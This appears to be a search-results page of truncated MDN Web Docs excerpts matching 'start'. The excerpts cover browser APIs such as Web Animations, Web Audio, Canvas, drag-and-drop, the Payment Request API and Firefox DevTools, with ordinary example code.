...s sessions. to clear the history, use the clearhistory() helper function. you can initiate a reverse search through the expression history, much like you can in bash on linux and mac or powershell on windows. on windows and linux press f9. on mac press ctrl+r (note: not cmd+r!) to initiate the reverse search. enter the text you want to search for in the input box at the bottom of the console.
start typing part of the expression you are looking for and the first match is displayed in the console. repeatedly typing f9 on windows and linux ( ctrl+r on mac) cycles backwards through the matches. once you have initiated the reverse search, you can use shift + f9 on windows or linux ( ctrl+s on mac) to search forward in the list of matches. you can also use the ⋀ and ⋁ icons in the expres...
Firefox Developer Tools
u can use them to examine, edit, and debug html, css, and javascript. this section contains detailed guides to all of the tools as well as information on how to debug firefox for android, how to extend devtools, and how to debug the browser as a whole. if you have any feedback on devtools, or want to contribute to the project, you can join the devtools community. note: if you are just getting
started with web development and using developer tools, our learning docs will help you — see getting
started with the web and what are browser developer tools? for good
starting points. the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or f12 on windows and linux, or cmd + opt + i ...
... get involved our community website explains how to get involved. bugs.firefox-dev.tools a tool helping to find bugs to work on. ...
AbsoluteOrientationSensor - Web APIs
, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.
start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors. because the permissions uses promises, a good way to request permissions is to use promise.all. const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), ...
... permissions is to use promise.all. const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.
start(); ... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. orientation sensorthe definition of 'absoluteorientationsensor' in that specification. candidate recommendati...
AbstractRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification. ...
... specifications specification status comment domthe definition of 'collapsed' in that specification. ...
AddressErrors - Web APIs
ing to create the paymentrequest object. } } this code creates a new paymentrequest, providing the supported handlers and payment options we set up above, as well as additional options (in this case, that we want to ask for shipping information). after that, we set up the handler for the shippingaddresschange event so we can validate address information and call the request's show() method to
start running the payment ui. handling address changes the handleaddresschange() method, called when shippingaddresschange events occur, is where we'll look to see if the country is one of those we allow as shipping destinations. function handleaddresschange(ev) { const validcountries = ["us", "ca", "gb", "jp", "cn", "mx"]; const genericaddresserror = "unable to ship to the given address. pleas...
...event's updatewith() method, passing along the updatedetails object. this lets the payment request api know to present the specified error or errors but to allow the user to keep trying to edit the address. setting up the donate now button this code creates a handler for the load event on the window which in turn adds the needed click event handler to the "donate now" button so that clicking it
starts the payment process. window.addeventlistener("load", function(ev) { document.getelementbyid("pay").addeventlistener("click", process, false); }, false); see addeventlistener() for information about event handlers and how they work. html here's the simple html for this example. <p>donate us $65 to our worthwhile cause and we will send you a totally not-useless gift as a token of our than...
Animation.pause() - Web APIs
suspends playback of the animation. syntax animation.pause(); parameters none. return value none. exceptions invalidstateerror the animation's currenttime is unresolved (for example, if it's never been played or isn't currently playing) and the end time of the animation is positive infinity. ...
...nimation is positive infinity. throws an invalidstateerror if the animation's currenttime is unresolved (perhaps it hasn't
started playing yet) and the end time of the animation is positive infinity. ...
Animation.play() - Web APIs
syntax animation.play(); parameters none. return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alicechange) to play forward, causing her to get bigger, as well as triggering the cake's animation. ...
.... nommingcake.pause(); // this function will play when ever a user clicks or taps var growalice = function() { // play alice's animation. alicechange.play(); // play the cake's animation. nommingcake.play(); } // when a user holds their mouse down or taps, call growalice to make all the animations play. cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touch
start", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification. working draft ...
Animation - Web APIs
g the playback state of an animation. animation.playbackrate gets or sets the playback rate of the animation. animation.ready read only returns the current ready promise for this animation. animation.replacestate returns the replace state of the animation. this will be active if the animation has been replaced, or persisted if animation.persist() has been invoked on it. animation.
starttime gets or sets the scheduled time when an animation's playback should begin. animation.timeline gets or sets the timeline associated with this animation. event handlers animation.oncancel gets and sets the event handler for the cancel event. animation.onfinish gets and sets the event handler for the finish event. animation.onremove allows you to set and run an event handler that...
...f properties inside a style attribute. animation.finish() seeks either end of an animation, depending on whether the animation is playing or reversing. animation.pause() suspends playing of an animation. animation.persist() explicitly persists an animation, when it would otherwise be removed due to the browser's automatically removing filling animations behavior. animation.play()
starts or resumes playing of an animation, or begins the animation again if it previously finished. animation.reverse() reverses playback direction, stopping at the
start of the animation. if the animation is finished or unplayed, it will play from end to beginning. animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position. automatically remo...
AnimationEffect.getComputedTiming() - Web APIs
fecttiming.fill value. these values are comparable to the computed styles of an element returned using window.getcomputedstyle(elem). syntax var currenttimevalues = animation.getcomputedtiming(); parameters none. return value a computedeffecttiming dictionary object, which contains the following properties: endtime the end time of the animation in milliseconds from the animation's
start (if the keyframeeffect is associated with an animation). (also includes effecttiming.enddelay in that calculation.) activeduration the length of time in milliseconds that the animation's effects will run. this is equal to the iteration duration multiplied by the iteration count. localtime the current time of the animation in milliseconds. if the keyframeeffect is not associated with an animat...
...nt time of the animation in milliseconds. if the keyframeeffect is not associated with an animation, its value is null. progress indicates how far along the animation is through its current iteration with values between 0 and 1. returns null if the animation is not running or its keyframeeffect isn't associated with an animation. currentiteration the number of times this animation has looped,
starting from 0. returns null if the animation is not running or its keyframeeffect isn't associated with an animation. specifications specification status comment web animationsthe definition of 'animationeffect.getcomputedtiming()' in that specification. working draft editor's draft. ...
AnimationEvent() - Web APIs
ationevent(type, {animationname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); parameters the animationevent() constructor also inherits arguments from event(). type a domstring representing the name of the type of the animationevent. ...
...nd can be: 'animation
start', 'animationend', or 'animationiteration'. animationname optional a domstring containing the value of the animation-name css property associated with the transition. it defaults to "". elapsedtime optional a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an "animation
start" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). it defaults to 0.0. pseudoelement optional is a domstring,
starting with "::", containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element itself, specify an empt...
AnimationEvent.initAnimationEvent() - Web APIs
ead, use the standard constructor, animationevent(), to create a synthetic animationevent. syntax animationevent.initanimationevent(typearg, canbubblearg, cancelablearg, animationnamearg, elapsedtimearg); parameters typearg a domstring identifying the specific type of animation event that occurred. the following values are allowed: value meaning animation
start the animation has
started. animationend the animation completed. animationiteration the current iteration just completed. canbubblearg a boolean flag indicating if the event can bubble (true) or not (false). cancelablearg a boolean flag indicating if the event associated action can be avoided (true) or not (false). animationnamearg a domstring ...
...lag indicating if the event associated action can be avoided (true) or not (false). animationnamearg a domstring containing the value of the animation-name css property associated with the transition. elapsedtimearg a float indicating the amount of time the animation has been running, in seconds, as of the time the event was fired, excluding any time the animation was paused. for an "animation
start" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). ...
Attr - Web APIs
you should revise your code accordingly. see deprecated properties and methods for a complete list. properties name read only the attribute's name. namespaceuri read only a domstring representing the namespace uri of the attribute, or null...
...erelement read only the element holding the attribute. note: dom level 4 removed this property. the assumption was that since you get an attr object from an element, you should already know the associated element. as that doesn't hold true in cases like attr objects being returned by document.evaluate, the dom living standard reintroduced the property. gecko outputs a deprecation note
starting from gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4). this note was removed again in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46). specified read only this property always returns true. originally, it returned true if the attribute was explicitly specified in the source code or by a script, and false if its value came from the default one defined in the docume...
AudioBuffer.copyFromChannel() - Web APIs
the copyfromchannel() method of the audiobuffer interface copies the audio sample data from the specified channel of the audiobuffer to a specified float32array. syntax myarraybuffer.copyfromchannel(destination, channelnumber,
startinchannel); parameters destination a float32array to copy the channel's samples to. channelnumber the channel number of the current audiobuffer to copy the channel data from.
startinchannel optional an optional offset into the source channel's buffer from which to begin copying samples. if not specified, a value of 0 (the beginning of the buffer) is assumed by default. return value undefined. exceptions indexsizeerror one of the input parameters has a value that is outside the accepted range: the value of channelnumber specifies a channel numb...
.... if not specified, a value of 0 (the beginning of the buffer) is assumed by default. return value undefined. exceptions indexsizeerror one of the input parameters has a value that is outside the accepted range: the value of channelnumber specifies a channel number which doesn't exist (that is, it's greater than or equal to the value of numberofchannels on the channel). the value of
startinchannel is outside the current range of samples that already exist in the source buffer; that is, it's greater than its current length. example this example creates a new audio buffer, then copies the samples from another channel into it. var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array(length); myarraybuffer.copyfromchann...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
should play in a loop. the default is false. if the loop is dynamically modified during playback, the new value will take effect on the next processing block of audio. loopend: an optional value, in seconds, where looping should end if the loop attribute is true. the default is 0. its value is exclusive to the content of the loop. the sample frames, comprising the loop, run from the values loop
start to loopend-(1/samplerate). it's sensible to set this to a value between 0 and the duration of the buffer. if loopend is less than 0, looping will end at 0. if loopend is greater than the duration of the buffer, looping will end at the end of the buffer. this attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nea...
... loopend is less than 0, looping will end at 0. if loopend is greater than the duration of the buffer, looping will end at the end of the buffer. this attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value. thus, its behavior is independent of the value of the playbackrate parameter. loop
start: an optional value in seconds, where looping should begin if the loop attribute is true. the default is 0. it's sensible to set this to a value between 0 and the duration of the buffer. if loop
start is less than 0, looping will begin at 0. if loop
start is greater than the duration of the buffer, looping will begin at the end of the buffer. this attribute is converted to an exact sample frame offs...
AudioBufferSourceNode.loop - Web APIs
ating if the audio asset must be replayed when the end of the audiobuffer is reached. the loop property's default value is false. syntax var loopingenabled = audiobuffersourcenode.loop; audiobuffersourcenode.loop = true | false; value a boolean which is true if looping is enabled; otherwise, the value is false. when looping is enabled, the sound begins playing at the time specified as the
start point when
start() is called. when the time specified by the loopend property is reached, playback continues at the time specified by loop
start example in this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode. buttons are provided to play and stop the audio playback, and a slider control is used to change the playbackra...
... working draft ...
AudioContext.createMediaStreamDestination() - Web APIs
astreamdestination(); returns a mediastreamaudiodestinationnode. examples in the following simple example, we create a mediastreamaudiodestinationnode, an oscillatornode and a mediarecorder (the example will therefore only work in firefox and chrome at this time.) the mediarecorder is set up to record information from the mediastreamdestinationnode. when the button is clicked, the oscillator
starts, and the mediarecorder is
started. when the button is stopped, the oscillator and mediarecorder both stop. stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array. after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a ur...
...ipt> var b = document.queryselector("button"); var clicked = false; var chunks = []; var ac = new audiocontext(); var osc = ac.createoscillator(); var dest = ac.createmediastreamdestination(); var mediarecorder = new mediarecorder(dest.stream); osc.connect(dest); b.addeventlistener("click", function(e) { if (!clicked) { mediarecorder.
start(); osc.
start(0); e.target.innerhtml = "stop recording"; clicked = true; } else { mediarecorder.stop(); osc.stop(0); e.target.disabled = true; } }); mediarecorder.ondataavailable = function(evt) { // push each chunk (blobs) in an array chunks.push(evt.data); }; mediarecorder.onst...
AudioParam.cancelScheduledValues() - Web APIs
returns a reference to this audioparam object. in some older implementations this method returns void. ...
... returns a reference to this audioparam object. in some older implementations this method returns void. ...
AudioParam.exponentialRampToValueAtTime() - Web APIs
the exponentialramptovalueattime() method of the audioparam interface schedules a gradual exponential change in the value of the audioparam. the change
starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter. note: exponential ramps are considered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works. ...
...nsidered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works. syntax var audioparam = audioparam.exponentialramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. endtime a double representing the exact time (in seconds) after the ramping
starts that the changing of the value will stop. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. examples in this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, exponentialramptovalueattime() is used to fade the gai...
AudioScheduledSourceNode: ended event - Web APIs
event handler property audioscheduledsourcenode.onended usage notes this event occurs when a audioscheduledsourcenode has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played. ...
...as stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played. examples in this simple example, an event listener for the ended event is set up to enable a "
start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("
startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("
startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github. specifications specification status comment web audio apithe definition of ...
AudioScheduledSourceNode - Web APIs
the audioscheduledsourcenode interface—part of the web audio api—is a parent interface for several types of audio source node interfaces which share the ability to be
started and stopped, optionally at specified times. specifically, this interface defines the
start() and stop() methods, as well as the onended event handler. you can't create an audioscheduledsourcenode object directly. instead, use the interface which extends it, such as audiobuffersourcenode, oscillatornode, and constantsourcenode. unless stated otherwise, nodes based upon audioscheduledsourcenode output silence when not playing (that is, before
start() is called and after stop() is called). silence is represented, as always, by a stream of samples with the value zero (0). properties inherits properties from its pare...
...if no time is specified, the node begins playing immediately. stop() schedules the node to stop playing at the specified time. if no time is specified, the node stops playing at once. ...
BaseAudioContext.createDelay() - Web APIs
the audio signal can be delayed by. must be less than 180 seconds, and defaults to 1 second if not specified. returns a delaynode. the default delaynode.delaytime is 0 seconds. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will
start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't
start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synths...
... the looping sounds don't
start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.
start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.
BaseAudioContext.decodeAudioData() - Web APIs
that we then store in the audiodata variable . we then pass this buffer into a decodeaudiodata() function; the success callback takes the successfully decoded pcm data, puts it into an audiobuffersourcenode created using audiocontext.createbuffersource(), connects the source to the audiocontext.destination and sets it to loop. the buttons in the example simply run getdata() to load the track and
start it playing, and stop it playing, respectively. when the stop() method is called on the source, the source is cleared out. note: you can run the example live (or view the source.) // define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var source; var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); var play = document...
...data = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding audio data" + e.err); }); } request.send(); } // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.
start(0); play.setattribute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; new promise-based syntax ctx.decodeaudiodata(audiodata).then(function(decodeddata) { // use the decoded data here }); specifications specification status comment ...
BluetoothRemoteGATTCharacteristic - Web APIs
bluetoothremotegattcharacteristic.uuidread only returns a domstring contain...
... given descriptor uuid. bluetoothremotegattcharacteristic.readvalue() returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported. otherwise it throws an error. bluetoothremotegattcharacteristic.writevalue() sets the value property to the bytes contained in an arraybuffer and returns a promise. bluetoothremotegattcharacteristic.
startnotifications() returns a promise when navigator.bluetooth is added to the active notification context. bluetoothremotegattcharacteristic.stopnotifications() returns a promise when navigator.bluetooth is removed from the active notification context. specifications specification status comment web bluetooththe definition of 'bluetoothremotegattcharacteristic' in that s...
Cache - Web APIs
f a matching cache entry is found and deleted. if no cache entry is found, the promise resolves to false. cache.keys(request, options) returns a promise that resolves to an array of cache keys. examples this code snippet is from the service worker selective caching sample. (see selective caching live) the code uses cachestorage.open() to open any cache objects with a content-type header that
starts with font/. the code then uses cache.match() to see if there's already a matching font in the cache, and if so, returns it. if there isn't a matching font, the code fetches the font from the network and uses cache.put() to cache the fetched resource. the code handles exceptions thrown from the fetch() operation. note that an http error response (e.g., 404) will not trigger an exception. it wil...
... (response.status < 400 && response.headers.has('content-type') && response.headers.get('content-type').match(/^font\//i)) { // this avoids caching responses that we know are errors (i.e. http status code of 4xx or 5xx). // we also only want to cache responses that correspond to fonts, // i.e. have a content-type response header that
starts with "font/". // note that for opaque filtered responses (https://fetch.spec.whatwg.org/#concept-filtered-response-opaque) // we can't access to the response headers, so this check will always fail and the font won't be cached. // all of the google web fonts are served off of a domain that supports cors, so that isn't an issue here. // it is someth...
CanvasRenderingContext2D.clearRect() - Web APIs
the canvasrenderingcontext2d.clearrect() method of the canvas 2d api erases the pixels in a rectangular area by setting them to transparent black. note: be aware that clearrect() may cause unintended side effects if you're not using paths properly. make sure to call beginpath() before
starting to draw new items after calling clearrect(). syntax void ctx.clearrect(x, y, width, height); the clearrect() method sets the pixels in a rectangular area to transparent black (rgba(0,0,0,0)). the rectangle's corner is at (x, y), and its size is specified by width and height. parameters x the x-axis coordinate of the rectangle's
starting point. y the y-axis coordinate of the rectangle's
starting point. width the rectangle's width. positive values are to the right, and negative to the left.
...the dimensions of the cleared area are set to equal the <canvas> element's width and height attributes. ...
CanvasRenderingContext2D.ellipse() - Web APIs
the canvasrenderingcontext2d.ellipse() method of the canvas 2d api adds an elliptical arc to the current sub-path. syntax void ctx.ellipse(x, y, radiusx, radiusy, rotation,
startangle, endangle [, anticlockwise]); the ellipse() method creates an elliptical arc centered at (x, y) with the radii radiusx and radiusy. the path
starts at
startangle and ends at endangle, and travels in the direction given by anticlockwise (defaulting to clockwise). parameters x the x-axis (horizontal) coordinate of the ellipse's center. y the y-axis (vertical) coordinate of the ellipse's center. ...
...in the direction given by anticlockwise (defaulting to clockwise). parameters x the x-axis (horizontal) coordinate of the ellipse's center. y the y-axis (vertical) coordinate of the ellipse's center. radiusx the ellipse's major-axis radius. must be non-negative. radiusy the ellipse's minor-axis radius. must be non-negative. rotation the rotation of the ellipse, expressed in radians.
startangle the angle at which the ellipse
starts, measured clockwise from the positive x-axis and expressed in radians. endangle the angle at which the ellipse ends, measured clockwise from the positive x-axis and expressed in radians. anticlockwise optional an optional boolean which, if true, draws the ellipse anticlockwise (counter-clockwise). the default value is false (clockwise). examples ...
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
syntax void ctx.quadraticcurveto(cpx, cpy, x, y); parameters cpx the x-axis coordinate of the control point. cpy the y-axis coordinate of the control point. ...
...the y-axis coordinate of the end point. examples how quadraticcurveto works this example shows how a quadratic bézier curve is drawn. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // quadratic bézier curve ctx.beginpath(); ctx.moveto(50, 20); ctx.quadraticcurveto(230, 30, 50, 100); ctx.stroke(); //
start and end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(50, 20, 5, 0, 2 * math.pi); //
start point ctx.arc(50, 100, 5, 0, 2 * math.pi); // end point ctx.fill(); // control point ctx.fillstyle = 'red'; ctx.beginpath(); ctx.arc(230, 30, 5, 0, 2 * math.pi); ctx.fill(); result in this example, the control point is red and the
start and end points are blue. a simple quadratic curve ...
Manipulating video using canvas - Web APIs
pt code is imported from a script named processor.js. the javascript code the javascript code in processor.js consists of three methods. initializing the chroma-key player the doload() method is called when the xhtml document initially loads. this method's job is to prepare the variables needed by the chroma-key processing code, and to set up an event listener so we can detect when the user
starts playing the video. var processor; processor.doload = function doload() { this.video = document.getelementbyid('video'); this.c1 = document.getelementbyid('c1'); this.ctx1 = this.c1.getcontext('2d'); this.c2 = document.getelementbyid('c2'); this.ctx2 = this.c2.getcontext('2d'); let self = this; this.video.addeventlistener('play', function() { self.width =...
... effect. then addeventlistener() is called to begin watching the video element so that we obtain notification when the user presses the play button on the video. in response to the user beginning playback, this code fetches the width and height of the video, halving each (we will be halving the size of the video when we perform the chroma-keying effect), then calls the timercallback() method to
start watching the video and computing the visual effect. the timer callback the timer callback is called initially when the video
starts playing (when the "play" event occurs), then takes responsibility for establishing itself to be called periodically in order to launch the keying effect for each frame. processor.timercallback = function timercallback() { if (this.video.paused || this.video.
Basic usage of canvas - Web APIs
at the end of this page, you will know how to set up a canvas 2d context and have drawn a first example in your browser. the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt attributes. indeed, the <canvas> element has only two attributes, width and height. these are both optional and can also be set using dom properties. when no width and height attributes are specified, the canvas will initially be 300 pixels wide and 150 pixels high. ...
...grammatically by simply testing for the presence of the getcontext() method. our code snippet from above becomes something like this: var canvas = document.getelementbyid('tutorial'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); // drawing code here } else { // canvas-unsupported code here } a skeleton template here is a minimalistic template, which we'll be using as a
starting point for later examples. note: it is not good practice to embed a script inside html. we do it here to keep the example concise. <!doctype html> <html> <head> <meta charset="utf-8"/> <title>canvas tutorial</title> <script type="text/javascript"> function draw() { var canvas = document.getelementbyid('tutorial'); if (canvas.getcontext) { var ct...
Canvas tutorial - Web APIs
<canvas> is an html element which can be used to draw graphics via scripting (usually javascript). this can, for instance, be used to draw graphs, combine photos, or create simple (and not so simple) animations. the images on this page show examples of <canvas> implementations which will be created in this tutorial. ...
..., or create simple (and not so simple) animations. the images on this page show examples of <canvas> implementations which will be created in this tutorial. this tutorial describes how to use the <canvas> element to draw 2d graphics,
starting with the basics. the examples provided should give you some clear ideas about what you can do with canvas, and will provide code snippets that may get you
started in building your own content. first introduced in webkit by apple for the os x dashboard, <canvas> has since been implemented in browsers. today, all major browsers support it. before you
start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript. the <canvas> element is not supported in some older browsers, but is supported in recent...
Using channel messaging - Web APIs
ou have to think about whether the origins trust one another, and how the messages are passed. message channels on the other hand can provide a secure channel that allows you to pass data between different browsing contexts. note: for more information and ideas, the ports as the basis of an object-capability model on the web section of the spec is a useful read. simple examples to get your
started, we have published a couple of demos on github. first up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded <iframe>. secondly, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can send multiple messages between the main page and an iframe. we'll...
... when the iframe has loaded, we register an onclick handler for our button and an onmessage handler for messagechannel.port1. finally we transfer messagechannel.port2 to the iframe using the window.postmessage method. let's explore how the iframe.contentwindow.postmessage line works in a bit more detail. it takes th...
CharacterData - Web APIs
ecified element is the first one in the list. methods inherits methods from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.appenddata() appends the given domstring to the characterdata.data string; when this method returns, data contains the concatenated domstring. characterdata.deletedata() removes the specified amount of characters,
starting at the specified offset, from the characterdata.data string; when this method returns, data contains the shortened domstring. characterdata.insertdata() inserts the specified characters, at the specified offset, in the characterdata.data string; when this method returns, data contains the modified domstring. childnode.remove() removes the object from its parent children list. characterd...
... when this method returns, data contains the shortened domstring. characterdata.insertdata() inserts the specified characters, at the specified offset, in the characterdata.data string; when this method returns, data contains the modified domstring. childnode.remove() removes the object from its parent children list. characterdata.replacedata() replaces the specified amount of characters,
starting at the specified offset, with the specified domstring; when this method returns, data contains the modified domstring. characterdata.substringdata() returns a domstring containing the part of characterdata.data of the specified length and
starting at the specified offset. specifications specification status comment domthe definition of 'characterdata' in that speci...
DOMHighResTimeStamp - Web APIs
y.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. properties this type has no properties. it is a double-precision floating-point value. value the value of a domhighrestimestamp is a double-precision floating-point number which describes the number of milliseconds (accurate to within 5 microseconds if the device supports it) elapsed between two points in time. the
starting time can be either a specific time determined by the script for a site or app, or the time origin. the time origin the time origin is a standard time which is considered to be the beginning of the current document's lifetime. it's calculated like this: if the script's global object is a window, the time origin is determined as follows: if the current document is the first one loaded...
... origin is undefined. methods this type has no methods. usage notes you can get the current timestamp value—the time that has elapsed since the context was created—by calling the performance method now(). this method is available in both window and worker contexts. example to determine how much time has elapsed since a particular point in your code, you can do something like this: let
starttime = performance.now(); /* ... do things for a while ... */ let elapsedtime = performance.now() -
starttime; upon completion, the value of elapsedtime is the number of milliseconds that have elapsed since you recorded the
starting time in line 1. specifications specification status comment high resolution time level 2the definition of 'domhighrestimestamp' in th...
DataTransfer.setData() - Web APIs
sfer object's getdata(), setdata() and cleardata() methods. <!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function drag
start_handler(ev) { console.log("drag
start"); // change the source element's background color to signify drag has
started ev.currenttarget.style.border = "dashed"; // set the drag's format and data. use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(e...
...the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()'...
DataTransferItemList.remove() - Web APIs
index the zero-based index number of the item in the drag data list to remove. if the index doesn't correspond to an existing item in the list, the list is left unchanged. return value undefined. exceptions invalidstateerror the drag data store is not in read/write mode, so the item can't be removed. example this example shows the use of the remove() method. javascript function drag
start_handler(ev) { console.log("drag
start"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"...
...ct to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px s...
DelayNode.delayTime - Web APIs
ar mydelay = audioctx.createdelay(5.0); mydelay.delaytime.value = 3.0; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will
start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't
start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synths...
... the looping sounds don't
start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.
start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.
DelayNode - Web APIs
me read only is an a-rate audioparam representing the amount of delay to apply, specified in seconds. methods no specific methods; inherits methods from its parent, audionode. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will
start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't
start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synths...
... the looping sounds don't
